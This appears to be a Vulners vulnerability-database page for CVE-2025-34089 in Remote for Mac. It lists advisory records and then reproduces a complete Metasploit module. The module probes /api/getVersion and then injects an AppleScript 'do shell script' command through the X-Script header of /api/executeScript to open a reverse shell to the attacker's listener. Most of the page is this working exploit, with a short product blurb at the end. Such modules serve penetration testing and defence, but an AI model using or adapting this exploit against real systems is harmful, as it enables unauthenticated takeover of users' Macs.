| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2025-34089 | 8 Jun 202514:11 | – | circl | |
| Aexol Studio Remote for Mac 安全漏洞 | 3 Jul 202500:00 | – | cnnvd | |
| CVE-2025-34089 | 3 Jul 202519:47 | – | cve | |
| CVE-2025-34089 Remote for Mac Unauthenticated Remote Code Execution via AppleScript Injection | 3 Jul 202519:47 | – | cvelist | |
| EUVD-2025-19900 | 3 Oct 202520:07 | – | euvd | |
| CVE-2025-34089 | 3 Jul 202520:15 | – | nvd | |
| PT-2025-27829 | 3 Jul 202500:00 | – | ptsecurity | |
| CVE-2025-34089 | 5 Jul 202520:04 | – | redhatcve | |
| CVE-2025-34089 Remote for Mac Unauthenticated Remote Code Execution via AppleScript Injection | 3 Jul 202519:47 | – | vulnrichment |
require 'json'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Remote for Mac Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability in
Remote for Mac versions up to and including 2025.7 via the /api/executeScript endpoint.
When authentication is disabled on the target system, it allows attackers to execute
arbitrary AppleScript commands, which can include shell commands via `do shell script`.
All versions up to 2025.7 (including patch versions) are vulnerable.
},
'License' => MSF_LICENSE,
'Author' => ['Chokri Hammedi (@blue0x1)'],
'References' => [
['CVE', '2025-34089'],
['PACKETSTORM', '195347']
],
'DisclosureDate' => '2025-05-27',
'Platform' => ['unix', 'osx'],
'Arch' => ARCH_CMD,
'Targets' => [['Auto', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'),
'method' => 'GET'
)
return CheckCode::Unknown('No response from target') unless res&.code == 200
info = res.get_json_document
if info.empty?
return CheckCode::Unknown('Unable to parse JSON from /api/getVersion')
end
if info['requires.auth'] == true
return CheckCode::Safe('Target requires authentication on /api/executeScript')
end
version = info['version'].to_s
if version.empty?
return CheckCode::Unknown('Could not determine target version')
end
target_version = Rex::Version.new(version)
vulnerable_version = Rex::Version.new('2025.7')
if target_version <= vulnerable_version
return CheckCode::Appears("Target version #{version} appears vulnerable")
else
return CheckCode::Safe("Target version #{version} is not vulnerable")
end
end
def exploit
print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}")
cmd = payload.encoded
applescript = %(do shell script "#{cmd}")
host_name = Rex::Text.rand_text_alpha(8)
host_model = "#{Rex::Text.rand_text_alpha(4)}#{rand(99)}"
script_name = Rex::Text.rand_text_alpha(8)
print_status("Sending exploit to #{rhost}:#{rport} via AppleScript")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'),
'method' => 'GET',
'headers' => {
'X-ClientToken' => Rex::Text.rand_text_numeric(4),
'X-HostName' => host_name,
'X-HostFullModel' => host_model,
'X-Script' => applescript,
'X-ScriptName' => script_name,
'X-ScriptDelay' => '0'
}
)
print_status('Payload sent')
if res&.code == 200
print_good('Payload delivered successfully. Awaiting session...')
res_json = res.get_json_document
print_status("Received response: #{res_json['result']}")
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation